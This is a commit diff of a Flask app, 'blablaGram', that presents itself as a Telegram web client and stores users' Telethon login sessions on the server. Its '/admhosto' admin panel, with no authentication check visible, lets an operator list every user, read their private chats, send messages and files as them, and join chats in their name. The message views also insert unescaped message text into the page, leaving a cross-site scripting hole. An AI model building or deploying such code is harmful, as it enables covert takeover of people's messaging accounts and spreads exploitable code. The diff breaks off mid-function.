Aleksmorshen commited on
Commit
7a5dde6
·
verified ·
1 Parent(s): 3610792

Update app.py

Browse files
Files changed (1) hide show
  1. app.py +410 -163
app.py CHANGED
@@ -4,6 +4,7 @@ import os
4
  import sqlite3
5
  import datetime
6
  from pathlib import Path
 
7
 
8
  from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for, session
9
  from telethon.sync import TelegramClient
@@ -64,20 +65,29 @@ LOGIN_TEMPLATE = '''
64
  <meta charset="UTF-8">
65
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
66
  <title>blablaGram - Login</title>
 
67
  <style>
68
- body { font-family: 'Inter', -apple-system, BlinkMacMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #E9EBEE; color: #333; margin: 0; padding: 0; display: flex; justify-content: center; align-items: center; min-height: 100vh; }
69
- .container { background: #FFFFFF; padding: 40px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); max-width: 420px; width: 90%; text-align: center; }
70
- h1 { color: #2AABEE; margin-bottom: 25px; font-size: 2.8em; font-weight: 700; letter-spacing: -0.5px; }
71
- input[type="text"], input[type="password"] { width: calc(100% - 24px); padding: 14px; margin: 12px 0; border: 1px solid #E0E0E0; border-radius: 8px; background: #F9F9F9; color: #333; font-size: 1.05em; transition: border-color 0.3s, box-shadow 0.3s; }
72
- input[type="text"]:focus, input[type="password"]:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.2); outline: none; }
73
- button { background: #2AABEE; color: #fff; padding: 14px 28px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.1em; font-weight: bold; margin-top: 20px; transition: background 0.3s ease, transform 0.2s ease; width: 100%; }
74
- button:hover { background: #1C91D0; transform: translateY(-1px); }
75
- button:active { transform: translateY(0); }
76
- .message { margin-top: 25px; padding: 15px; border-radius: 8px; font-size: 0.95em; line-height: 1.5; }
77
- .message.success { background: #E6FFF1; color: #159C66; border: 1px solid #C8F0E0; }
78
- .message.error { background: #FFEBEE; color: #C9302C; border: 1px solid #F0C8C8; }
79
- .message.info { background: #EBF8FF; color: #2AABEE; border: 1px solid #C8E6F0; }
 
80
  .hidden { display: none; }
 
 
 
 
 
 
 
81
  </style>
82
  </head>
83
  <body>
@@ -111,7 +121,6 @@ LOGIN_TEMPLATE = '''
111
  return;
112
  }
113
  showMessage('Sending code...', 'info');
114
- // Hide previous inputs
115
  document.getElementById('code').classList.add('hidden');
116
  document.getElementById('password').classList.add('hidden');
117
  document.getElementById('submitCode').classList.add('hidden');
@@ -199,67 +208,76 @@ BLABLAGRAM_APP_TEMPLATE = '''
199
  <title>blablaGram</title>
200
  <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
201
  <style>
202
- body, html { margin: 0; padding: 0; height: 100%; font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; overflow: hidden; }
203
  .app-layout { display: flex; height: 100vh; width: 100%; }
204
- .sidebar { flex: 0 0 320px; background: #FFFFFF; border-right: 1px solid #E0E0E0; display: flex; flex-direction: column; transition: transform 0.3s ease-in-out; }
205
- .sidebar-header { padding: 15px 20px; border-bottom: 1px solid #E0E0E0; display: flex; align-items: center; justify-content: space-between; }
206
- .sidebar-header h2 { margin: 0; font-size: 1.5em; color: #2AABEE; font-weight: 700; }
207
- .sidebar-header .actions button { background: none; border: none; font-size: 1.5em; cursor: pointer; color: #2AABEE; padding: 5px 8px; border-radius: 6px; transition: background-color 0.2s; }
208
- .sidebar-header .actions button:hover { background-color: #E6F3FC; }
209
- .chat-list { flex: 1; overflow-y: auto; -webkit-overflow-scrolling: touch; }
210
- .chat-item { display: flex; align-items: center; padding: 12px 20px; border-bottom: 1px solid #F5F5F5; cursor: pointer; transition: background-color 0.2s, color 0.2s; }
211
- .chat-item:hover { background-color: #F8F8F8; }
212
- .chat-item.active { background-color: #E6F3FC; color: #2AABEE; }
213
- .avatar-placeholder { width: 48px; height: 48px; border-radius: 50%; background-color: #2AABEE; color: white; display: flex; align-items: center; justify-content: center; font-size: 1.6em; font-weight: 600; margin-right: 15px; flex-shrink: 0; }
214
  .chat-info { flex: 1; overflow: hidden; }
215
- .chat-info h3 { margin: 0 0 4px; font-size: 1.05em; font-weight: 600; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; color: #1C1C1C; }
216
- .chat-item.active .chat-info h3 { color: #2AABEE; }
217
- .chat-info p { margin: 0; font-size: 0.85em; color: #666; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
218
 
219
- .chat-panel { flex: 1; display: flex; flex-direction: column; background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAKAAAACgCAMAAACMsrS6AAAAP1BMVEXy9Pbv8vTw8vXx8/X09vfy9ffx8/Ty9Pbx8/Ty9Pbx8/Xz9ffy9Pby9Pbx8/Xy9ffy9fY7N5wzAAAAFXRSTlMAYKAgsLBgIFBwYNAg0JBQMFBgYCDQX1vPAAACHklEQVR42u3V227bMBBFUUCpQxJCSDqk//+3tCStA8MDjOT6222s5zFjsmy2zLIsy7Isy7Isy7Isy7Isy7Isy7Isy7Isy/rvBvj3yZNOcws8b8A3/4eCrwX8P/h/F/yG8x9Gfo3/u/JfQf498r8s+M/I/7Hgv2Sgvyb5e0H+pfL3gvzby98L8m8vfy/Iv5r8vSC/lvz9IL9e/r0gv1r594L82srfC/Krld8X5Fe3/L0gv1b5vSD/uvJ3gvz6y98L8isv/y/Ir1Z+L8ivpfxdIL+28neD/PLK3w3yyy9/N8ivvnx/CL+y8veD/PLq3wfyK69/H8ivv/x/CL+68veD/Prq3wvyKy9/L8ivvPx/CL+88veD/Prb3wvy6y9/L8ivr/x/CL+98veD/Prt3wvy6y9/X5DfX/n+Ifz2yt8P8uv3Pxfk19f/vyC/v/L9Q/jtlf8f5Ndv/1+QX3/9/4L8/stfD/L7S18P8gsvfx/I7698f5DfX/n+IXz55e+H+PXL3w/y+y9/P8jvr/x/iD/98vdD/Pr9/wvy+y//X5Dff/n/IX795e+H+P33/x/k91/+vyC//vL/IX7/5e+H+P23vx/k99/+vyC//vL3Q/z+y98P8vvv/z/I77/8/RA/AHz54x8QAF/++AcEwJdv/gEBsO+Jf0AAbPvjHxAAu/74BwTAph/9AQGw6Y9/QABs++MfEAC7/vgHBMCmH/0BAbDpj39AAGz74x8QALv++AcEwKYf/QEB/PzDPyAA9vzxDwiArX/8AwLg0w//gADY9sc/IAC2/fEPEAC7/vgHBMDTXz8gAL788Q8IgK+//AMCIAAA/PwnAMCyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMuyLMv6n/4H0j+fL0bIRekAAAAASUVORK5CYII="); background-repeat: repeat; background-size: 150px; }
220
- .chat-panel-header { background: #FFFFFF; padding: 15px 25px; border-bottom: 1px solid #E0E0E0; display: flex; justify-content: space-between; align-items: center; }
221
- .chat-panel-header h2 { margin: 0; font-size: 1.25em; font-weight: 600; color: #1C1C1C; }
222
- .chat-panel-header .header-actions button { background: #2AABEE; color: white; border: none; padding: 9px 15px; border-radius: 6px; cursor: pointer; font-size: 0.9em; font-weight: 500; transition: background 0.2s, transform 0.2s; }
223
- .chat-panel-header .header-actions button:hover { background: #1C91D0; transform: translateY(-1px); }
224
  .chat-panel-header .header-actions button:active { transform: translateY(0); }
225
  .chat-panel-header .header-actions .switch-account { background: #6C757D; margin-left: 10px; }
226
  .chat-panel-header .header-actions .switch-account:hover { background: #5A6268; }
227
 
228
  .messages-container { flex: 1; overflow-y: auto; padding: 20px; display: flex; flex-direction: column-reverse; -webkit-overflow-scrolling: touch; }
229
- .message-item { max-width: 75%; padding: 10px 14px; border-radius: 18px; margin-bottom: 8px; line-height: 1.45; word-wrap: break-word; font-size: 0.95em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
230
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 4px; }
231
- .message-item.received { background: #FFFFFF; align-self: flex-start; border-bottom-left-radius: 4px;}
232
- .message-sender { font-weight: 600; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
233
- .message-text { color: #111; }
234
- .message-meta { font-size: 0.75em; color: #888; margin-top: 5px; text-align: right; }
235
- .media-link { display: block; margin-top: 8px; color: #2AABEE; text-decoration: none; font-weight: 500; word-break: break-all; }
 
 
 
 
236
  .media-link:hover { text-decoration: underline; }
237
 
238
- .chat-input-area { background: #F8F8F8; padding: 10px 20px; border-top: 1px solid #E0E0E0; display: flex; align-items: flex-end; gap: 10px; }
239
- .chat-input-area textarea { flex: 1; padding: 12px 15px; border: 1px solid #E0E0E0; border-radius: 20px; background: #FFFFFF; resize: none; overflow-y: auto; max-height: 120px; font-size: 1em; line-height: 1.4; transition: border-color 0.3s, box-shadow 0.3s; }
240
- .chat-input-area textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
241
- .chat-input-area button { background: #2AABEE; color: #fff; width: 44px; height: 44px; border: none; border-radius: 50%; cursor: pointer; font-size: 1.5em; display: flex; align-items: center; justify-content: center; transition: background 0.2s, transform 0.2s; flex-shrink: 0; }
242
- .chat-input-area button:hover { background: #1C91D0; transform: translateY(-1px); }
243
- .chat-input-area button:active { transform: translateY(0); }
244
 
245
  .no-chat-selected { display: flex; justify-content: center; align-items: center; flex: 1; color: #777; font-size: 1.2em; text-align: center; }
246
- .join-chat-section { padding: 15px 20px; border-top: 1px solid #E0E0E0; display: flex; gap: 10px; background-color: #FFFFFF; }
247
- .join-chat-section input { flex: 1; padding: 10px 12px; border: 1px solid #E0E0E0; border-radius: 8px; font-size: 0.95em; }
248
- .join-chat-section button { background: #28A745; color: white; padding: 0 15px; border: none; border-radius: 8px; cursor: pointer; font-weight: 500; transition: background 0.2s; }
249
  .join-chat-section button:hover { background: #218838; }
250
 
251
  /* Mobile Adaptation */
252
  @media (max-width: 768px) {
253
  .app-layout { flex-direction: column; }
254
- .sidebar { flex: 0 0 auto; width: 100%; height: 50vh; border-right: none; border-bottom: 1px solid #E0E0E0; position: absolute; top: 0; left: 0; z-index: 1000; transform: translateX(-100%); }
255
  .sidebar.active { transform: translateX(0); }
256
  .chat-panel { width: 100%; height: 100vh; position: relative; }
257
- .sidebar-toggle-button { display: block; background: none; border: none; font-size: 1.5em; color: #2AABEE; cursor: pointer; padding: 0 10px; }
258
- .sidebar-header .actions { display: flex; align-items: center; }
 
 
 
259
  .chat-panel-header { padding: 15px 15px; }
260
- .chat-panel-header h2 { font-size: 1.1em; }
261
  .chat-input-area { padding: 10px 15px; }
262
- .message-item { max-width: 85%; }
 
 
263
  }
264
  @media (min-width: 769px) {
265
  .sidebar-toggle-button { display: none; }
@@ -284,7 +302,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
284
  </div>
285
  <div class="chat-panel" id="chatPanel">
286
  <div class="chat-panel-header" id="appHeader">
287
- <button class="sidebar-toggle-button" onclick="toggleSidebar()">←</button> <!-- Back arrow for mobile -->
288
  <div id="chat-header-info">
289
  <h2 id="chatTitle" style="display:none;"></h2>
290
  </div>
@@ -294,9 +312,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
294
  </div>
295
  </div>
296
  <div class="no-chat-selected" id="noChatSelected">
297
- Select a chat to start messaging
 
 
 
 
298
  </div>
299
- <div class="messages-container" id="messagesContainer" style="display:none;"></div>
300
  <div class="chat-input-area" id="chatInputArea" style="display:none;">
301
  <input type="file" id="fileInput" style="display: none;" onchange="handleFileSelect()">
302
  <button onclick="document.getElementById('fileInput').click()" title="Attach File">📎</button>
@@ -308,7 +329,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
308
 
309
  <script>
310
  let currentChatId = null;
 
311
  let isSidebarOpen = false;
 
312
 
313
  function toggleSidebar() {
314
  const sidebar = document.getElementById('sidebar');
@@ -357,6 +380,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
357
 
358
  async function selectChat(chatId) {
359
  currentChatId = chatId;
 
360
 
361
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
362
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
@@ -369,39 +393,87 @@ BLABLAGRAM_APP_TEMPLATE = '''
369
  document.getElementById('chatTitle').style.display = 'block';
370
  document.getElementById('messagesContainer').style.display = 'flex';
371
  document.getElementById('chatInputArea').style.display = 'flex';
372
-
373
- await fetchMessages(chatId);
 
374
  if (window.innerWidth <= 768) {
375
- toggleSidebar(); // Hide sidebar on mobile after selecting chat
376
  }
 
377
  }
378
 
379
- async function fetchMessages(chatId) {
380
  const messagesContainer = document.getElementById('messagesContainer');
381
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
 
 
 
 
 
 
 
 
382
 
383
- const response = await fetch(`/api/chat_messages/${chatId}`);
 
384
  const result = await response.json();
385
- messagesContainer.innerHTML = '';
 
 
 
 
386
  if (result.success && result.messages) {
387
- result.messages.reverse().forEach(msg => {
388
  const messageItem = document.createElement('div');
389
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
390
 
391
  let senderInfo = !msg.is_sent && msg.sender_name ? `<span class="message-sender">${msg.sender_name}</span>` : '';
392
- let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
393
  let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
394
- let metaHtml = `<div class="message-meta">${msg.date}</div>`;
 
 
 
 
 
 
 
 
 
 
395
  let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
 
396
 
397
  messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
398
- messagesContainer.prepend(messageItem);
399
  });
400
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
 
 
 
 
 
 
 
 
 
 
 
401
  } else {
402
- messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
 
 
 
 
 
403
  }
404
  }
 
 
 
 
 
 
405
 
406
  async function newMessage() {
407
  const recipient = prompt("Enter recipient's username (e.g., @username) or chat ID:");
@@ -429,6 +501,9 @@ BLABLAGRAM_APP_TEMPLATE = '''
429
 
430
  messageInput.value = '';
431
  adjustTextareaHeight();
 
 
 
432
 
433
  const response = await fetch('/api/send_message', {
434
  method: 'POST',
@@ -437,6 +512,7 @@ BLABLAGRAM_APP_TEMPLATE = '''
437
  });
438
  const result = await response.json();
439
  if (result.success) {
 
440
  await fetchMessages(currentChatId);
441
  } else {
442
  alert('Failed to send message: ' + result.message);
@@ -458,12 +534,12 @@ BLABLAGRAM_APP_TEMPLATE = '''
458
  formData.append('file', file);
459
  formData.append('caption', caption);
460
 
461
- messageInput.value = ''; // Clear message input
462
- fileInput.value = ''; // Clear file input
463
  adjustTextareaHeight();
464
 
465
  const messagesContainer = document.getElementById('messagesContainer');
466
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Uploading file...</p>' + messagesContainer.innerHTML; // Indicate upload in UI
467
 
468
  const response = await fetch('/api/send_file', {
469
  method: 'POST',
@@ -471,7 +547,8 @@ BLABLAGRAM_APP_TEMPLATE = '''
471
  });
472
  const result = await response.json();
473
  if (result.success) {
474
- await fetchMessages(currentChatId); // Re-fetch messages to show the sent file
 
475
  } else {
476
  alert('Failed to send file: ' + result.message);
477
  }
@@ -524,21 +601,40 @@ ADMHOSTO_TEMPLATE = '''
524
  <meta charset="UTF-8">
525
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
526
  <title>blablaGram - Admin Panel</title>
527
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
528
  <style>
529
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
530
- .container { max-width: 900px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
531
- h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 25px; font-weight: 700; }
532
- table { width: 100%; border-collapse: collapse; margin-top: 20px; border-radius: 8px; overflow: hidden; }
533
- th, td { padding: 15px; border: 1px solid #E0E0E0; text-align: left; }
534
- th { background: #F8F8F8; color: #555; font-weight: 600; font-size: 0.95em; }
535
- tr:nth-child(even) { background: #FDFDFD; }
 
 
536
  tr:hover { background: #E6F3FC; }
537
- a { color: #2AABEE; text-decoration: none; transition: color 0.3s ease; font-weight: 500; }
538
  a:hover { text-decoration: underline; }
539
- .back-button { margin-top: 30px; text-align: center; }
540
- .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
541
- .back-button a:hover { background: #5A6268; text-decoration: none; }
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
542
  </style>
543
  </head>
544
  <body>
@@ -552,11 +648,11 @@ ADMHOSTO_TEMPLATE = '''
552
  <tbody>
553
  {% for user in users %}
554
  <tr>
555
- <td>{{ user[0] }}</td>
556
- <td>{{ user[1] }}</td>
557
- <td>{{ user[2] }}</td>
558
- <td>{{ user[3] }}</td>
559
- <td>
560
  <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
561
  </td>
562
  </tr>
@@ -578,45 +674,59 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
578
  <meta charset="UTF-8">
579
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
580
  <title>Manage: {{ user.username or user.phone }}</title>
581
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700&display=swap" rel="stylesheet">
582
  <style>
583
- body { font-family: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, Helvetica, Arial, sans-serif; background: #F0F2F5; color: #333; margin: 0; padding: 20px; }
584
- .container { max-width: 1200px; margin: auto; background: #fff; padding: 30px; border-radius: 12px; box-shadow: 0 8px 20px rgba(0,0,0,0.15); }
585
- h1, h2 { text-align: center; color: #2AABEE; margin-bottom: 20px; font-weight: 700; }
586
- .user-info { text-align: center; margin-bottom: 30px; font-size: 1.1em; color: #777; font-weight: 500; }
587
- .split-panel { display: flex; gap: 25px; margin-top: 25px; }
588
- .split-panel > div { flex: 1; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
589
- h2 { margin-top: 0; font-size: 1.3em; font-weight: 600; color: #333; margin-bottom: 15px; }
590
- input[type="text"], textarea { width: calc(100% - 24px); padding: 12px; margin: 8px 0; border: 1px solid #DDD; border-radius: 8px; background: #FFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; }
591
- input[type="text"]:focus, textarea:focus { border-color: #2AABEE; box-shadow: 0 0 0 3px rgba(42, 171, 238, 0.1); outline: none; }
592
- textarea { resize: vertical; min-height: 80px; }
593
- button { background: #2AABEE; color: #fff; padding: 12px 20px; border: none; border-radius: 8px; cursor: pointer; font-size: 1.0em; font-weight: bold; margin-top: 15px; width: 100%; transition: background 0.3s ease, transform 0.2s ease; }
594
- button:hover { background: #1C91D0; transform: translateY(-1px); }
595
- button:active { transform: translateY(0); }
596
- .chat-list { max-height: 400px; overflow-y: auto; border: 1px solid #DDD; border-radius: 8px; background: #FFF; }
597
- .chat-item { padding: 14px 18px; border-bottom: 1px solid #EEE; cursor: pointer; transition: background 0.2s ease; }
598
  .chat-item:hover, .chat-item.active { background: #E6F3FC; }
599
  .chat-item:last-child { border-bottom: none; }
600
  .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
601
- .chat-item p { margin: 5px 0 0; font-size: 0.85em; color: #666; }
602
- .message-viewer { margin-top: 25px; background: #F9F9F9; padding: 25px; border-radius: 10px; border: 1px solid #EEE; }
603
- .messages-container { max-height: 500px; overflow-y: auto; padding: 15px; border: 1px solid #DDD; border-radius: 8px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
604
- .message-item { max-width: 80%; padding: 10px 14px; border-radius: 18px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 1px rgba(0,0,0,0.05); }
605
- .message-item.sent { background: #DCF8C6; align-self: flex-end; }
606
- .message-item.received { background: #F1F0F0; align-self: flex-start; }
607
- .message-sender { font-weight: bold; color: #2AABEE; margin-bottom: 4px; display: block; font-size: 0.9em; }
608
- .message-text { color: #111; }
 
 
 
609
  .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
610
- .media-link { display: block; margin-top: 5px; color: #2AABEE; text-decoration: none; }
611
- .back-button { margin-top: 30px; text-align: center; }
612
- .back-button a { display: inline-block; padding: 10px 20px; background: #6C757D; color: white; border-radius: 8px; transition: background 0.3s ease; }
613
- .back-button a:hover { background: #5A6268; text-decoration: none; }
 
 
614
  .clear-chat-selection { text-align: center; margin-top: 15px; }
615
- .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 8px; }
616
  .clear-chat-selection button:hover { background: #5A6268; }
 
 
617
 
618
  @media (max-width: 768px) {
619
- .split-panel { flex-direction: column; }
 
 
 
 
 
 
 
620
  }
621
  </style>
622
  </head>
@@ -629,10 +739,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
629
  <div class="action-panel">
630
  <h2>Send Message</h2>
631
  <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
632
- <textarea id="sendMessageContent" rows="4" placeholder="Message content"></textarea>
633
  <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
634
  <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
635
- <button onclick="document.getElementById('sendFileInput').click()" style="background:#28A745;">Send File</button>
636
 
637
  <h2 style="margin-top: 30px;">Join Chat</h2>
638
  <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
@@ -648,7 +758,7 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
648
  <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
649
  </div>
650
  {% else %}
651
- <p style="padding: 15px; text-align: center;">No chats found.</p>
652
  {% endfor %}
653
  </div>
654
  <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
@@ -657,48 +767,116 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
657
 
658
  <div class="message-viewer" id="messageViewer" style="display:none;">
659
  <h2 id="messagesChatTitle"></h2>
660
- <div class="messages-container" id="messagesContainer"></div>
 
 
661
  </div>
662
 
663
  <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
664
  </div>
665
  <script>
 
 
 
 
666
  function clearChatSelection() {
667
  document.getElementById('messageViewer').style.display = 'none';
668
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
 
 
669
  }
670
 
671
  async function selectChat(userId, chatId, chatTitle) {
 
 
 
672
  document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
673
  document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
674
 
675
  document.getElementById('messageViewer').style.display = 'block';
676
  document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
 
 
 
 
 
 
 
677
  const messagesContainer = document.getElementById('messagesContainer');
678
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading...</p>';
679
 
680
- const response = await fetch(`/admhosto/user/${userId}/chat/${chatId}/messages`);
 
 
 
 
 
 
 
 
 
681
  const result = await response.json();
682
- messagesContainer.innerHTML = '';
 
 
 
 
683
  if (result.success && result.messages) {
684
  result.messages.reverse().forEach(msg => {
685
  const messageItem = document.createElement('div');
686
  messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
687
  let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
688
- let mediaHtml = msg.file_name ? `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>` : '';
689
- messageItem.innerHTML = `${senderInfo}<div class="message-text">${msg.text || ''}</div>${mediaHtml}<div class="message-meta">${msg.date}</div>`;
 
 
 
 
 
 
 
 
 
 
 
 
 
690
  messagesContainer.prepend(messageItem);
691
  });
692
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
 
 
 
 
 
 
 
 
 
 
 
 
693
  } else {
694
- messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
 
 
 
 
 
695
  }
696
  }
697
 
 
 
 
 
 
 
698
  async function sendMessage(userId) {
699
  const chatId = document.getElementById('sendMessageRecipient').value;
700
  const message = document.getElementById('sendMessageContent').value;
701
  if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
 
702
  const response = await fetch(`/admhosto/send_message/${userId}`, {
703
  method: 'POST',
704
  headers: { 'Content-Type': 'application/json' },
@@ -706,7 +884,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
706
  });
707
  const result = await response.json();
708
  alert(result.message);
709
- if (result.success) {
 
 
 
710
  document.getElementById('sendMessageRecipient').value = '';
711
  document.getElementById('sendMessageContent').value = '';
712
  }
@@ -737,6 +918,10 @@ ADMHOSTO_MANAGE_TEMPLATE = '''
737
  });
738
  const result = await response.json();
739
  alert(result.message);
 
 
 
 
740
  }
741
 
742
  async function joinChat(userId) {
@@ -774,7 +959,6 @@ def api_login():
774
  session_hash = hashlib.md5(phone.encode()).hexdigest()
775
  session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
776
 
777
- # Store phone and session file path in the Flask session for multi-step login
778
  session['current_login_phone'] = phone
779
  session['current_login_session_file'] = session_file_path
780
 
@@ -792,7 +976,7 @@ def api_login():
792
  (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
793
  conn.commit()
794
  user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
795
- session['user_id'] = user_db_id # Set the active user for this Flask session
796
  result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
797
  else:
798
  sent_code = await client.send_code_request(session['current_login_phone'])
@@ -859,10 +1043,10 @@ def api_logout():
859
  client, error = await get_user_client(user_id)
860
  if error: return
861
  try:
862
- if client.is_connected():
863
  await client.log_out()
864
  except Exception:
865
- pass # Ignore errors on logout, as session file might be invalid
866
  finally:
867
  if client and client.is_connected():
868
  await client.disconnect()
@@ -939,19 +1123,33 @@ def api_get_chat_messages(peer_id):
939
  user_id = session.get('user_id')
940
  if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
941
 
 
 
 
942
  async def _get_messages_async():
943
  client, error = await get_user_client(user_id)
944
- if error: return None, error
945
 
946
  messages = []
 
947
  try:
948
  entity = await client.get_entity(peer_id)
949
- async for message in client.iter_messages(entity, limit=50, reverse=False):
 
 
 
 
 
 
 
950
  msg_data = {
951
  'text': message.text,
952
  'date': message.date.strftime("%b %d, %H:%M"),
953
  'is_sent': message.out,
954
- 'sender_name': 'Unknown'
 
 
 
955
  }
956
  if message.sender:
957
  if isinstance(message.sender, User):
@@ -959,40 +1157,55 @@ def api_get_chat_messages(peer_id):
959
  elif hasattr(message.sender, 'title'):
960
  msg_data['sender_name'] = message.sender.title
961
  else:
962
- msg_data['sender_name'] = str(message.sender.id) # Fallback if no name found
963
 
964
  if message.media:
965
  try:
966
- file_name = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}_" + getattr(message.media, 'mime_type', 'file').replace('/', '_')
 
967
  if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
968
  for attr in message.media.document.attributes:
969
  if hasattr(attr, 'file_name'):
970
  file_name = attr.file_name
 
971
  break
972
  elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
973
- file_name = f"photo_{message.media.photo.id}.jpg" # Simplified for photos
 
 
 
 
 
 
 
 
 
974
 
975
- file_info = await client.download_media(message, file=Path(DOWNLOAD_DIR) / file_name)
976
  if file_info:
977
- file_path = Path(file_info)
978
- msg_data['file_name'] = file_path.name
979
- file_size = os.path.getsize(file_path)
 
 
 
 
 
980
  msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
981
  except Exception as media_e:
982
  msg_data['file_name'] = f"Download failed: {media_e}"
983
  messages.append(msg_data)
984
  except Exception as e:
985
- return None, str(e)
986
  finally:
987
  if client and client.is_connected():
988
  await client.disconnect()
989
- return messages, None
990
 
991
- messages, error = asyncio.run(_get_messages_async())
992
  if error:
993
  return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
994
 
995
- return jsonify({'success': True, 'messages': messages})
996
 
997
  @app.route('/api/send_message', methods=['POST'])
998
  def api_send_message():
@@ -1081,7 +1294,7 @@ def api_join_chat():
1081
 
1082
  @app.route('/download/<path:filename>')
1083
  def download_file(filename):
1084
- return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=True)
1085
 
1086
  @app.route('/admhosto')
1087
  def admhosto_index():
@@ -1127,14 +1340,33 @@ def admhosto_manage_user_account(user_id):
1127
 
1128
  @app.route('/admhosto/user/<int:user_id>/chat/<int:peer_id>/messages')
1129
  def admhosto_get_chat_messages(user_id, peer_id):
 
 
 
1130
  async def _get_messages_async():
1131
  client, error = await get_user_client(user_id)
1132
- if error: return None, error
1133
  messages = []
 
1134
  try:
1135
  entity = await client.get_entity(peer_id)
1136
